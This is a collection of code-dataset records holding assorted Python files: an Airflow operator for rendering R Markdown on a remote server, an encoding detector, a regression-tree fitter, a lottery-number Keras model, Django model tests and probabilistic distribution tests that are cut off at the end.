+{"seq_id":"248306891","text":"import os\nimport re\nimport pandas as pd\n\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.utils.decorators import apply_defaults\n\nfrom .operator_utils.job_colors import job_colors\n\nfrom . import register_build\n\n#############\n## Globals ##\n#############\n\ndags_dir = os.path.join(os.getenv('AIRFLOW_HOME'), \"dags\")\n\n###############\n## Functions ##\n###############\n\n###############\n## Operators ##\n###############\n\nclass RmdOperator(BashOperator):\n    \"\"\"\n    The RmdOperator executes the R Markdown file. Note that it is up to the Rmd itself\n    to handle connecting to the database.\n    \"\"\"\n    @apply_defaults\n    def __init__(self, file_path, **kwargs):\n        self.rmd_file = file_path\n        self.html_output = file_path.replace('.Rmd', '.html')\n        self.user = os.environ['EZ_AF_USER']\n        self.rserver = os.environ['EZ_AF_R_SERVER']\n        self.ui_color = job_colors[\"rmd\"]\n\n        self.command = \"\"\"(scp -o StrictHostKeyChecking=no {local_filepath} {user}@{rserver}:~/\n                           ssh -o StrictHostKeyChecking=no {user}@{rserver} 'Rscript /usr/render_rmd.R ~/{filepath_basename}';\n                           ssh -o StrictHostKeyChecking=no {user}@{rserver} 'rm ~/{filepath_basename} && rm ~/{html_output_basename}';\n                           )\"\"\".format(\n                           user = self.user,\n                           rserver = self.rserver,\n                           local_filepath = self.rmd_file,\n                           filepath_basename = os.path.basename(self.rmd_file),\n                           html_output_basename = os.path.basename(self.html_output))\n\n        super(RmdOperator, self).__init__(\n            bash_command = self.command,\n            **kwargs)\n\n###################\n## Task Builders ##\n###################\n\ndef build_rmd_task(**kwargs):\n    task = RmdOperator(\n        task_id=kwargs[\"spec\"][\"task_id\"],\n        dag=kwargs[\"dag\"],\n        file_path=kwargs[\"spec\"][\"file_path\"]\n        )\n    return task\n\n####################\n## Register Build ##\n####################\n\nregister_build(build_rmd_task)\n","sub_path":"airflow/dags/utils/operators/RmdOperator.py","file_name":"RmdOperator.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"392590147","text":"\ndef main():\n  file_path = './text_shift_JIS.txt'\n  with open(file_path, mode='rb') as f:\n    for binary in f:\n      li = [(i+j) for (i,j) in zip(binary.hex()[::2],binary.hex()[1::2])]\n      print(li)\n\n      if li[0] == '1b':\n        print('ISO_2022_JPです')\n        quit()\n\n      if ((li[0] >= '81' and li[0] <= '9f') or (li[0] >= 'f0' and li[0] <= 'ef')):\n        if ((li[1] >= '40' and li[1] <= '7e') or (li[1] >= '80' and li[1] <= 'fc')):\n          print('Shift-JISです')\n          quit()\n\n      if li[0] >= 'a1' and li[0] <= 'fe':\n        if li[1] >= 'a1' and li[1] <= 'fe':\n          print('EUC-JPです')\n          quit()\n      \n      print('どれにも当てはまらない、もしくは、エラーです')\n\nif __name__ == \"__main__\":\n  main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"40062091","text":"from dataclasses import dataclass\nfrom typing import Optional, List, Tuple\n\nimport numpy as np\n\nfrom trees.params import Params\n\nfrom trees.bfs_tree import Tree, eval_tree\n\n# evaluation is the same as bfs_tree\nassert eval_tree\n\ndef calc_histograms(\n    n: int,\n    memberships: np.ndarray,\n    X: np.ndarray,\n    y: np.ndarray,\n    hist_counts: np.ndarray,\n    hist_sums: np.ndarray,\n    hist_sum_sqs: np.ndarray\n  ) -> None:\n  # will be C\n  nodes, cols, vals = hist_counts.shape\n  rows, _ = X.shape\n  assert hist_counts.shape == hist_sums.shape == hist_sum_sqs.shape\n  assert cols == X.shape[1]\n  assert (rows,) == y.shape\n  assert memberships.shape == (rows,)\n\n  X_in_node = X[memberships == n]\n\n  for c in range(cols):\n    for v in range(vals):\n      matching_rows = (X_in_node[:, c] == v)\n      hist_counts[0][c][v] = np.count_nonzero(matching_rows)\n      hist_sums[0][c][v] = np.sum(y[matching_rows])\n      hist_sum_sqs[0][c][v] = np.sum(y[matching_rows] * y[matching_rows])\n\ndef choose_split(\n  counts: np.ndarray,\n  sums: np.ndarray,\n  sum_sqs: np.ndarray,\n  penalty: float,\n  third_split_penalty: float\n) -> Tuple[float, int, int]:\n  '''\n  return (score, lo_split_val, hi_split_val)\n\n  python-only interface\n  '''\n\n  assert len(counts.shape) == 1\n  assert counts.shape == sums.shape == sum_sqs.shape\n  vals, = counts.shape\n\n  total_count = counts.sum()\n  total_sum = sums.sum()\n  total_sum_sq = sum_sqs.sum()\n\n  left_count = 0\n  left_sum = 0\n  left_sum_sq = 0\n\n  best_score = np.inf\n  best_lo = -1\n  best_hi = -1\n\n  for lo in range(vals-2):\n    left_count += counts[lo]\n    left_sum += sums[lo]\n    left_sum_sq += sum_sqs[lo]\n\n    # force non-empty left split\n    if left_count == 0: continue\n\n    left_var = left_sum_sq - (left_sum * left_sum / left_count)\n\n    mid_count = 0\n    mid_sum = 0\n    mid_sum_sq = 0\n\n    for hi in range(lo, vals-1):\n      if (hi > lo):\n        # middle split is nonempty\n        # penalize it by a factor\n        split_penalty = penalty + third_split_penalty * penalty\n\n        mid_count += counts[hi]\n        mid_sum += sums[hi]\n        mid_sum_sq += sum_sqs[hi]\n      else:\n        # middle split is empty\n        split_penalty = penalty\n\n      right_count = total_count - left_count - mid_count\n      right_sum = total_sum - left_sum - mid_sum\n      right_sum_sq = total_sum_sq - left_sum_sq - mid_sum_sq\n\n      # force non-empty right split\n      if (right_count == 0): break\n\n      # score is weighted average of splits' variance\n      mid_var = 0 if mid_count == 0 else mid_sum_sq - (mid_sum * mid_sum / mid_count)\n      right_var = right_sum_sq - (right_sum * right_sum / right_count)\n      score = (left_var + mid_var + right_var + split_penalty) / total_count\n\n      if score < best_score:\n        best_score = float(score)\n        best_lo = lo\n        best_hi = hi\n\n  assert best_lo >= 0\n  return best_score, best_lo, best_hi\n\n\ndef calc_node_scores(\n    n: int,\n    counts: np.ndarray,\n    sums: np.ndarray,\n    sum_sqs: np.ndarray,\n    scores: np.ndarray,\n    penalty: float,\n    third_split_penalty: float\n  ) -> None:\n  # will be in C\n  nodes, cols, vals = counts.shape\n  assert scores.shape == (nodes, cols)\n  assert counts.shape == sums.shape == sum_sqs.shape\n  assert 0 <= n < nodes\n\n  for c in range(cols):\n    score, _, _ = choose_split(\n      counts[n,c],\n      sums[n,c],\n      sum_sqs[n,c],\n      penalty,\n      third_split_penalty\n    )\n    scores[n, c] = score\n\n\ndef update_memberships(\n    c: int,\n    parent: int,\n    left_child: int,\n    mid_child: int,\n    right_child: int,\n    lo: int,\n    hi: int,\n    X: np.ndarray,\n    memberships: np.ndarray\n) -> None:\n  rows, cols = X.shape\n  assert memberships.shape == (rows,)\n  assert left_child < right_child\n  assert mid_child == 0 or (left_child < mid_child < right_child)\n  assert lo <= hi\n  assert 0 <= c < cols\n\n  split_vals = X[memberships == parent, c]\n\n  new_vals = np.zeros(len(split_vals), dtype=memberships.dtype)\n  new_vals[split_vals <= lo] = left_child\n  new_vals[lo < split_vals <= hi] = mid_child\n  new_vals[hi < split_vals] = right_child\n\n  memberships[memberships == parent] = new_vals\n\n\ndef subtract_histograms(\n    target_node: int,\n    parent_node: int,\n    source_node_1: int,\n    source_node_2: int,\n    counts: np.ndarray,\n    sums: np.ndarray,\n    sum_sqs: np.ndarray\n  ) -> None:\n  nodes, cols, vals = counts.shape\n  assert counts.shape == sums.shape == sum_sqs.shape\n  assert 0 <= parent_node < target_node < nodes\n  assert parent_node < source_node_1 < nodes\n  assert parent_node < source_node_2 < nodes\n  counts[target_node] = counts[parent_node] - counts[source_node_1] - counts[source_node_2]\n  sums[target_node] = sums[parent_node] - sums[source_node_1] - sums[source_node_2]\n  sum_sqs[target_node] = sum_sqs[parent_node] - sum_sqs[source_node_1] - sum_sqs[source_node_2]\n\n\ndef fit_tree(\n    X: np.ndarray,\n    y: np.ndarray,\n    bins: np.ndarray,\n    params: Params\n) -> Tuple[Tree, np.ndarray]:\n  rows, cols = X.shape\n  assert X.dtype == np.uint8\n  assert y.dtype == np.double\n  assert y.shape == (rows,)\n  assert bins.shape == (cols, params.bucket_count-1)\n  assert bins.dtype == np.float32\n  assert 0 <= params.smooth_factor\n  assert 0 <= params.weight_smooth_factor\n  assert 0 <= params.third_split_penalty\n  assert 2 <= params.bucket_count <= 256, 'buckets must fit in uint8'\n  assert 0 < rows < 2**32-1, 'rows must fit in uint32'\n  assert 0 < cols < 2**32-1, 'cols must fit in uint32'\n\n  # ignore bfs params and use fewer max nodes\n  max_nodes = 64\n  assert 0 < max_nodes < 2**16-1, 'nodes must fit in uint16'\n\n  split_cols = np.zeros(max_nodes, dtype=np.uint64)\n  split_lo_bins = np.zeros(max_nodes, dtype=np.uint8)\n  split_hi_bins = np.zeros(max_nodes, dtype=np.uint8)\n  left_children = np.zeros(max_nodes, dtype=np.uint16)\n  mid_children = np.zeros(max_nodes, dtype=np.uint16)\n  right_children = np.zeros(max_nodes, dtype=np.uint16)\n  node_counts = np.zeros(max_nodes, dtype=np.uint64)\n\n  # row => node it belongs to\n  # initially belong to root (0)\n  memberships = np.zeros(rows, dtype=np.uint16)\n\n  # how much variance reduction would we gain by splitting at this node & column?\n  scores = np.zeros((max_nodes, cols), dtype=np.float64)\n\n  # histograms\n  # node, col, val => stat where X[c] == val in this node\n  #   - count of rows\n  #   - sum of y\n  #   - sum of y^2\n  hist_counts = np.zeros((max_nodes, cols, params.bucket_count), dtype=np.uint32)\n  hist_sums = np.zeros((max_nodes, cols, params.bucket_count), dtype=np.float64)\n  hist_sum_sqs = np.zeros((max_nodes, cols, params.bucket_count), dtype=np.float64)\n\n  # root histogram\n  calc_histograms(0, memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n\n  # root count & variance\n  assert hist_counts[0,:,:].sum() == rows\n  node_counts[0] = rows\n  root_sum = hist_sums[0,:,:].sum()\n  root_sum_sqs = hist_sum_sqs[0,:,:].sum()\n  root_var = (root_sum_sqs / rows) - (root_sum / rows) * (root_sum / rows);\n  penalty = root_var * params.smooth_factor\n\n  # find the score for splitting the root at each column\n  calc_node_scores(\n    0,\n    hist_counts,\n    hist_sums,\n    hist_sum_sqs,\n    scores,\n    params.third_split_penalty,\n    penalty\n  )\n\n  node_count = 1\n  while node_count + 3 <= max_nodes:\n    # can add 3 children and not have too many nodes\n\n    # choose the node & column with the highest score\n    # can split leaves with enough data\n    can_split_node = (node_counts > 2) & (left_children != 0)\n    scores[~can_split_node] = np.inf\n    split_n, split_c = np.unravel_index(np.argmin(scores), scores.shape)\n\n    # now choose which values to split on for that node & column\n    # recompute for now because of the sampling idea\n    score, split_lo, split_hi = choose_split(\n      hist_counts[split_n, split_c],\n      hist_sums[split_n, split_c],\n      hist_sum_sqs[split_n, split_c],\n      penalty,\n      params.third_split_penalty\n    )\n\n    if score >= root_var:\n      break\n      # TODO parent score\n\n    # make the split\n    # update node metadata\n    split_cols[split_n] = split_c\n    split_lo_bins[split_n] = split_lo\n    split_hi_bins[split_n] = split_hi\n\n    if split_lo == split_hi:\n      left_children[split_n] = node_count\n      right_children[split_n] = node_count + 1\n      node_count += 2\n    else:\n      left_children[split_n] = node_count\n      mid_children[split_n] = node_count + 1\n      right_children[split_n] = node_count + 2\n      node_count += 3\n\n    # split the data\n    # by updating which row belongs to which node\n    update_memberships(\n      split_c,\n      split_n,\n      left_children[split_n],\n      mid_children[split_n],\n      right_children[split_n],\n      split_lo,\n      split_hi,\n      X,\n      memberships\n    )\n\n    # update counts\n    # TODO variance too here\n    node_counts[left_children[split_n]] = np.count_nonzero(memberships == left_children[split_n])\n    node_counts[mid_children[split_n]] = np.count_nonzero(memberships == mid_children[split_n])\n    node_counts[right_children[split_n]] = np.count_nonzero(memberships == right_children[split_n])\n\n    # update histograms\n    # smallest 2 splits are calculated\n    # then largest is via subtraction\n    if (node_counts[right_children[split_n]] > node_counts[left_children[split_n]] and\n      node_counts[right_children[split_n]] > node_counts[mid_children[split_n]]):\n      calc_histograms(left_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      if split_lo != split_hi:\n        calc_histograms(mid_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      subtract_histograms(right_children[split_n], split_n, left_children[split_n], mid_children[split_n], hist_counts, hist_sums, hist_sum_sqs)\n    elif (split_lo == split_hi or\n      (node_counts[left_children[split_n]] > node_counts[mid_children[split_n]] and\n      node_counts[left_children[split_n]] > node_counts[right_children[split_n]])):\n      calc_histograms(right_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      if split_lo != split_hi:\n        calc_histograms(mid_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      subtract_histograms(left_children[split_n], split_n, right_children[split_n], mid_children[split_n], hist_counts, hist_sums, hist_sum_sqs)\n    else:\n      calc_histograms(left_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      calc_histograms(right_children[split_n], memberships, X, y, hist_counts, hist_sums, hist_sum_sqs)\n      subtract_histograms(mid_children[split_n], split_n, left_children[split_n], right_children[split_n], hist_counts, hist_sums, hist_sum_sqs)\n\n  # prediction for each row is the mean of the node the row is in\n  node_means = np.zeros(node_count)\n  for n in range(node_count):\n    node_means[n] = np.mean(y[memberships == n])\n  preds = node_means[memberships]\n\n  # convert the splits from binned uint8 values => original float32 values\n  split_lo_vals = np.zeros(node_count, dtype=np.float32)\n  split_hi_vals = np.zeros(node_count, dtype=np.float32)\n  for n in range(node_count):\n    split_lo_vals[n] = bins[split_cols[n], split_lo_bins[n]]\n    split_hi_vals[n] = bins[split_cols[n], split_hi_bins[n]]\n\n  # filter down to the number of nodes we actually used\n  return Tree(\n    node_count,\n    split_cols[:node_count],\n    split_lo_vals,\n    split_hi_vals,\n    left_children[:node_count],\n    mid_children[:node_count],\n    right_children[:node_count],\n    node_means\n  ), preds\n\n","sub_path":"trees/dfs_tree.py","file_name":"dfs_tree.py","file_ext":"py","file_size_in_byte":11452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"612383476","text":"from keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import r2_score\nfrom openpyxl import load_workbook\nimport numpy as np\nload_xl = load_workbook(\"\\Study\\Keras\\lotto.xlsx\", data_only=True)\n\nload_sheet = load_xl['lotto']\n\nlotto_round = np.array([int(load_sheet.cell(x,2).value) for x in range(890, 5, -1)])\nlotto_num = np.array([[int(load_sheet.cell(i,j).value) for j in range(14,20)] for i in range(890, 5, -1)])\n\nlotto_data1 = np.array([int(load_sheet.cell(x,2).value) for x in range(890, 5, -1)])\nlotto_data2 = np.array([[int(load_sheet.cell(i,j).value) for j in range(14,20)] for i in range(890, 5, -1)])\n\nmodel = Sequential()\nmodel.add(Dense(200, input_dim=1, activation='relu'))\n\n\nfor i in range(161, 0, -40):\n    model.add(Dense(i))\nmodel.add(Dense(6))\n\nmodel.summary()\n\nmodel.compile(loss='mse', optimizer='adam', metrics=['accuracy']) # accuracy\nmodel.fit(lotto_round, lotto_num, epochs=100, batch_size=1)\n\nloss, acc = model.evaluate(lotto_data1, lotto_data2, batch_size=1)\n\nprint(\"acc :\", acc)\nprint(\"loss : \", loss)\n\ny_predict = model.predict([887])\nprint(y_predict)","sub_path":"lotto.py","file_name":"lotto.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"545508221","text":"from django.test import TestCase\nfrom lists.models import Item, List\nfrom django.core.exceptions import ValidationError\nfrom django.db.utils import IntegrityError\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n'''\nplik testów jednostkowych przeprowadzanych dla danej \"apki\" django,\nte testy sprawdzają każdą najmniejszą funkcjonalność \"apki\" z punktu widzenia\nprogramisty ( a nie tak jak w testach funkcjonalnych z punktu widzenia użytk.)\n'''\n\n\nclass ItemModelTest(TestCase):\n    '''\n    klasa testująca dostęp do tabel bazodanowych django\n    '''\n    def test_default_text(self):\n        item = Item()\n        self.assertEqual(item.text, '')\n\n    def test_item_is_related_to_list(self):\n        list_ = List.objects.create()\n        item = Item()\n        item.list = list_\n        item.save()\n        self.assertIn(item, list_.item_set.all())\n\n    def test_can_not_save_empty_list_items(self,):\n        _list = List.objects.create()\n        item = Item(list=_list, text='')\n        with self.assertRaises(ValidationError):\n            item.save()\n            item.full_clean()  # SPOSÓB NA VALIDACJĘ PUSTEGO STRINGA\n\n    def test_duplicate_items_are_invalid(self):\n        list_ = List.objects.create()\n        Item.objects.create(list=list_, text='test')\n        with self.assertRaises(ValidationError):\n            item = Item(list=list_, text='test')\n            item.full_clean()\n\n    def test_CAN_save_item_to_two_different_lists(self):\n        list1 = List.objects.create()\n        list2 = List.objects.create()\n        Item.objects.create(list=list1, text='test')\n        item = Item(list=list2, text='test')\n        item.full_clean()\n\n\nclass ListModelTest(TestCase):\n\n    def test_get_absolute_url(self):\n        list_ = List.objects.create()\n        self.assertEqual(list_.get_absolute_url(),\n                         '/lists/{}/'.format(list_.id))\n\n    def test_create_new_creates_list_and_first_item(self):\n        List.create_new(first_item_text='new item text')\n        new_item = Item.objects.first()\n        self.assertEqual(new_item.text, 'new item text')\n        new_list = List.objects.first()\n        self.assertEqual(new_list, new_item.list)\n\n    def test_create_new_optionally_saves_owner(self):\n        user = User.objects.create()\n        List.create_new(first_item_text='new item text', owner=user)\n        new_list = List.objects.first()\n        self.assertEqual(new_list.owner, user)\n\n    # dwa poniższe testy w ogóle nie dotykają plików bazodanowych\n    def test_lists_can_have_owners(self):\n        List(owner=User())  # nie powinno rzucić wyjątkiem\n\n    def test_list_owner_is_optional(self):\n        List().full_clean()  # nie powinno rzucić wyjątkiem\n\n    def test_create_returns_new_list_object(self):\n        returned = List.create_new(first_item_text='new item text')\n        new_list = List.objects.first()\n        self.assertEqual(returned, new_list)\n","sub_path":"lists/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"498315709","text":"import json\nimport os\nfrom azat import ROOT_DIR\n\nBASE_URL =os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath('__file__'))))\n# def logCurrent(key,telephone):\ndef logCurrent(key,telephone):\n    current = {'key':key,'telephone':telephone}\n    jdata = json.dumps(current)\n    with open(os.path.join(ROOT_DIR,'log/current.json'),'w') as jfile:\n        jfile.write(jdata)\n    # src = os.path.join(BASE_URL,'log/current.json')\n    return None\n\n\n\n\n","sub_path":"apps/status/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"329221620","text":"courses = [1,2,3,4]\ndays = [1,2,3,4]\n\nnumber_of_days = 7\n\neffort = [\n\t[0,0,0,0],\n\t[3,5,2,6],\n\t[5,6,4,7],\n\t[6,7,7,9],\n\t[7,9,8,9],\n]\nefforts_trans = [\n\t[0,3,5,6,7],\n\t[0,5,6,7,9],\n\t[0,2,4,7,8],\n\t[0,6,7,9,9],\n ]\n\ndef increment_single(value, max_days, floor,):\n\tnew_value = value\n\tincrement_next = False\n\tif value >= max_days:\n\t\tnew_value = floor\n\t\tincrement_next = True\n\telse:\n\t\tnew_value = value + 1\n\n\treturn new_value, increment_next\n\n\ndef increment(keys, max_days, floor=0, num_courses=4):\n\tcourse=0\n\tincrement_next = True\n\twhile increment_next is True:\n\t\tvalue = keys[course]\n\t\tnew_value, increment_next = increment_single(value,max_days, floor)\n\t\tkeys[course] = new_value\n\t\tcourse += 1\n\n\t\tprint(keys)\n\t\tif sum(keys) == 16:\n\t\t\tbreak\n\n\n\tif keys[0] + keys[1] + keys[2]+ keys[3] > 7:  # just run it again if it's an invalid number of days\n\t\tkeys = increment(keys,max_days, floor, num_courses)\n\n\treturn keys\n\ndef brute_force(max_days=number_of_days, course_list=courses, days_per=days, efforts=efforts_trans):\n\n\tmax_study_days = 4\n\tfinal_values={}\n\tcourse_keys = [0,0,0,0]\n\twhile course_keys != [4,4,4,4]:\n\t\tvalue = efforts[0][course_keys[0]] + efforts[1][course_keys[1]] + efforts[2][course_keys[2]] +  efforts[3][course_keys[3]]\n\t\tnum_days = course_keys[0] + course_keys[1] + course_keys[2] + course_keys[3]\n\t\tfinal_values[value] = course_keys\n\t\tcourse_keys = increment(course_keys, max_study_days)\n\n\tmax_val = max(final_values.keys())\n\tprint(\"{}: {}\".format(max_val, final_values[max_val]))\n\n\nbrute_force()\n\n","sub_path":"problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"77006082","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTests the distribution classes.\n\"\"\"\n\nimport unittest\n\n\nimport numpy as np\nimport scipy.stats as sts\n\nfrom viroconcom.params import ConstantParam, FunctionParam\nfrom viroconcom.distributions import (\n    WeibullDistribution, ExponentiatedWeibullDistribution,\n    LognormalDistribution, NormalDistribution,\n    MultivariateDistribution)\nfrom viroconcom.fitting import Fit\n\nclass MultivariateDistributionTest(unittest.TestCase):\n    \"\"\"\n    Create an example MultivariateDistribution (Vanem2012 model).\n    \"\"\"\n\n    # Create a MultivariateDistribution, the joint distribution for Hs-Tz\n    # presented in Vanem et al. (2012).\n    # Start with a Weibull distribution for wave height, Hs.\n    shape = ConstantParam(1.471)\n    loc = ConstantParam(0.8888)\n    scale = ConstantParam(2.776)\n    par0 = (shape, loc, scale)\n    dist0 = WeibullDistribution(*par0)\n\n    # Conditional lognormal distribution for period, Tz.\n    mu = FunctionParam('power3', 0.1, 1.489, 0.1901)\n    sigma = FunctionParam('exp3', 0.0400, 0.1748, -0.2243)\n    dist1 = LognormalDistribution(mu=mu, sigma=sigma)\n\n    distributions = [dist0, dist1]\n\n    dep0 = (None, None, None)\n    dep1 = (0, None, 0)\n    dependencies = [dep0, dep1]\n\n    joint_dist_2d = MultivariateDistribution(distributions, dependencies)\n\n    # Conditional lognormal distribution for wind speed, V (for simplicity, same as Tz).\n    mu = FunctionParam('power3', 0.1, 1.489, 0.1901)\n    sigma = FunctionParam('exp3', 0.0400, 0.1748, -0.2243)\n    dist2 = LognormalDistribution(mu=mu, sigma=sigma)\n    dep2 = (0, None, 0)\n    joint_dist_3d = MultivariateDistribution([dist0, dist1, dist2], [dep0, dep1, dep2])\n\n\n    def test_add_distribution_err_msg(self):\n        \"\"\"\n        Tests if the right exception is raised when distribution1 has a\n        dependency.\n        \"\"\"\n\n        dep0 = (None, 0, None)\n        dependencies = [dep0, self.dep1]\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(self.distributions, dependencies)\n\n\n    def test_add_distribution_iter(self):\n        \"\"\"\n        Tests if an exception is raised by the function add_distribution when\n        distributions isn't iterable but dependencies is and the other way around.\n        \"\"\"\n\n        distributions = 1\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(distributions, self.dependencies)\n        dependencies = 0\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(self.distributions, dependencies)\n\n    def test_add_distribution_length(self):\n        \"\"\"\n        Tests if an exception is raised when distributions and dependencies\n        are of unequal length.\n        \"\"\"\n\n        dep2 = (0, None, None)\n        dependencies = [self.dep0, self.dep1, dep2]\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(self.distributions, dependencies)\n\n    def test_add_distribution_dependencies_length(self):\n        \"\"\"\n        Tests if an exception is raised when a tuple in dependencies\n        has not length 3.\n        \"\"\"\n\n        dep0 = (None, None)\n        dependencies = [dep0, self.dep1]\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(self.distributions, dependencies)\n\n    def test_add_distribution_dependencies_value(self):\n        \"\"\"\n        Tests if an exception is raised when dependencies has an invalid value.\n        \"\"\"\n\n        dep0 = (-3, None, None)\n        dependencies = [dep0, self.dep1]\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(self.distributions, dependencies)\n\n    def test_add_distribution_not_iterable(self):\n        \"\"\"\n        Tests the function when both distributions and dependencies\n        are not iterable.\n        \"\"\"\n\n        distributions = 1\n        dependencies = 2\n        with self.assertRaises(ValueError):\n            MultivariateDistribution(distributions, dependencies)\n\n    def test_multivariate_draw_sample(self):\n        \"\"\"\n        Tests the draw_sample() function of MulvariateDistribution.\n        \"\"\"\n        n = 20000\n        sample = self.joint_dist_2d.draw_sample(n)\n        self.assertEqual(n, sample[0].size)\n        self.assertEqual(n, sample[1].size)\n\n        # Fit the sample to the correct model structure and compare the\n        # estimated parameters with the true parameters.\n        dist_description_0 = {'name': 'Weibull',\n                              'dependency': (None, None, None),\n                              'width_of_intervals': 0.5}\n        dist_description_1 = {'name': 'Lognormal',\n                              'dependency': (0, None, 0),\n                              'functions': ('exp3', None, 'power3')}\n        fit = Fit(sample, [dist_description_0, dist_description_1])\n        fitted_dist0 = fit.mul_var_dist.distributions[0]\n        fitted_dist1 = fit.mul_var_dist.distributions[1]\n        self.assertAlmostEqual(fitted_dist0.shape(0), self.shape(0), delta=0.15)\n        self.assertAlmostEqual(fitted_dist0.loc(0), self.loc(0), delta=0.15)\n        self.assertAlmostEqual(fitted_dist0.scale(0), self.scale(0), delta=0.15)\n        self.assertAlmostEqual(fitted_dist1.shape.a, 0.04, delta=0.1)\n        self.assertAlmostEqual(fitted_dist1.shape.b, 0.1748, delta=0.1)\n        self.assertAlmostEqual(fitted_dist1.shape.c, -0.2243, delta=0.15)\n\n    def test_multivariate_cdf(self):\n        \"\"\"\n         Tests cdf() of MulvariateDistribution (joint cumulative distr. func.).\n         \"\"\"\n        p = self.joint_dist_2d.cdf([2, 2], lower_integration_limit=[0, 0])\n        self.assertAlmostEqual(p, 0, delta=0.01)\n\n        p = self.joint_dist_2d.cdf([[2, 20], [2, 16]], lower_integration_limit=[0, 0])\n        np.testing.assert_allclose(p, [0, 1], atol=0.01)\n\n        # Create a bivariate normal distribution, where we know that at the\n        # peak, the CDF must evaluate to 0.25.\n        dist = NormalDistribution(shape=None, loc=ConstantParam(1), scale=ConstantParam(1))\n        dep = (None, None, None)\n        bivariate_dist = MultivariateDistribution([dist, dist], [dep, dep])\n\n        p = bivariate_dist.cdf([1, 1])\n        self.assertAlmostEqual(p, 0.25, delta=0.001)\n\n    def test_multivariate_pdf(self):\n        \"\"\"\n        Tests pdf() of MulvariateDistribution (joint probabilty density func.).\n        \"\"\"\n        # Let's compare the density values with density values presented in\n        # Haselsteiner et al. (2017), Fig. 5, DOI: 10.1016/j.coastaleng.2017.03.002\n        f = self.joint_dist_2d.pdf([10, 13])\n        self.assertAlmostEqual(f, 0.000044, delta=0.00002)\n\n        f = self.joint_dist_2d.pdf([[8, 10, 12], [12.5, 13, 13.4]])\n        np.testing.assert_allclose(f, [0.000044, 0.000044, 0.000044], atol=0.00002)\n\n    def test_marginal_pdf(self):\n        \"\"\"\n        Tests  marginal_pdf() of MulvariateDistribution.\n        \"\"\"\n        prng = np.random.RandomState(42) # For reproducability.\n\n        # Marginal PDF of first variable, Hs.\n        f = self.joint_dist_2d.marginal_pdf(2)\n        f_uni = self.joint_dist_2d.distributions[0].pdf(2)\n        self.assertAlmostEqual(f, f_uni)\n\n        hs = [1, 2, 3]\n        f = self.joint_dist_2d.marginal_pdf(hs)\n        f_uni = self.joint_dist_2d.distributions[0].pdf(hs)\n        np.testing.assert_allclose(f, f_uni)\n\n        # Marginal PDF of second variable, Tz.\n        tz = [4, 5, 6]\n        f = self.joint_dist_2d.marginal_pdf(tz, dim=1)\n        (hs_sample, tz_sample) = self.joint_dist_2d.draw_sample(100000)\n        hist = np.histogram(tz_sample, bins=200)\n        hist_dist = sts.rv_histogram(hist)\n        f_sample = hist_dist.pdf(tz)\n        \n        np.testing.assert_allclose(f, f_sample, rtol=0.5)\n\n    def test_marginal_cdf(self):\n        \"\"\"\n        Tests marginal_cdf() of MulvariateDistribution.\n        \"\"\"\n        # Marginal CDF of first variable, Hs.\n        F = self.joint_dist_2d.marginal_cdf(np.inf)\n        np.testing.assert_allclose(F, 1, atol=0.001)\n\n        F = self.joint_dist_2d.marginal_cdf(2)\n        np.testing.assert_allclose(F, 0.22, atol=0.01)\n\n        # Marginal CDF of second variable, Tz.\n        F = self.joint_dist_2d.marginal_cdf(np.inf, dim=1)\n        np.testing.assert_allclose(F, 1, atol=0.001)\n\n        F = self.joint_dist_2d.marginal_cdf(7, dim=1)\n        np.testing.assert_allclose(F, 0.48, atol=0.01)\n\n        tz = [4, 7]\n        F = self.joint_dist_2d.marginal_cdf(tz, dim=1)\n        self.assertGreater(F[1], F[0])    \n\n    def test_marginal_icdf(self):\n        \"\"\"\n        Tests marginal_icdf() of MulvariateDistribution.\n        \"\"\"\n        # Marginal ICDF of first variable, Hs.\n        hs = self.joint_dist_2d.marginal_icdf(0.22)\n        np.testing.assert_allclose(hs, 2, atol=0.5) \n\n        # Marginal ICDF of second variable, Tz.\n        tz = self.joint_dist_2d.marginal_icdf(0.48, dim=1)\n        np.testing.assert_allclose(tz, 7, atol=0.1)\n        tz = self.joint_dist_2d.marginal_icdf(0.0001, dim=1)\n        np.testing.assert_allclose(tz, 3, rtol=0.3)        \n        tz = self.joint_dist_2d.marginal_icdf(0.9999, dim=1)\n        np.testing.assert_allclose(tz, 13, rtol=0.3)       \n        p = np.array([0.0001, 0.48])\n        tz = self.joint_dist_2d.marginal_icdf(p, dim=1)\n        np.testing.assert_allclose(tz, [3, 7], rtol=0.3)   \n\n        # Marginal ICDF of second variable, V.\n        v = 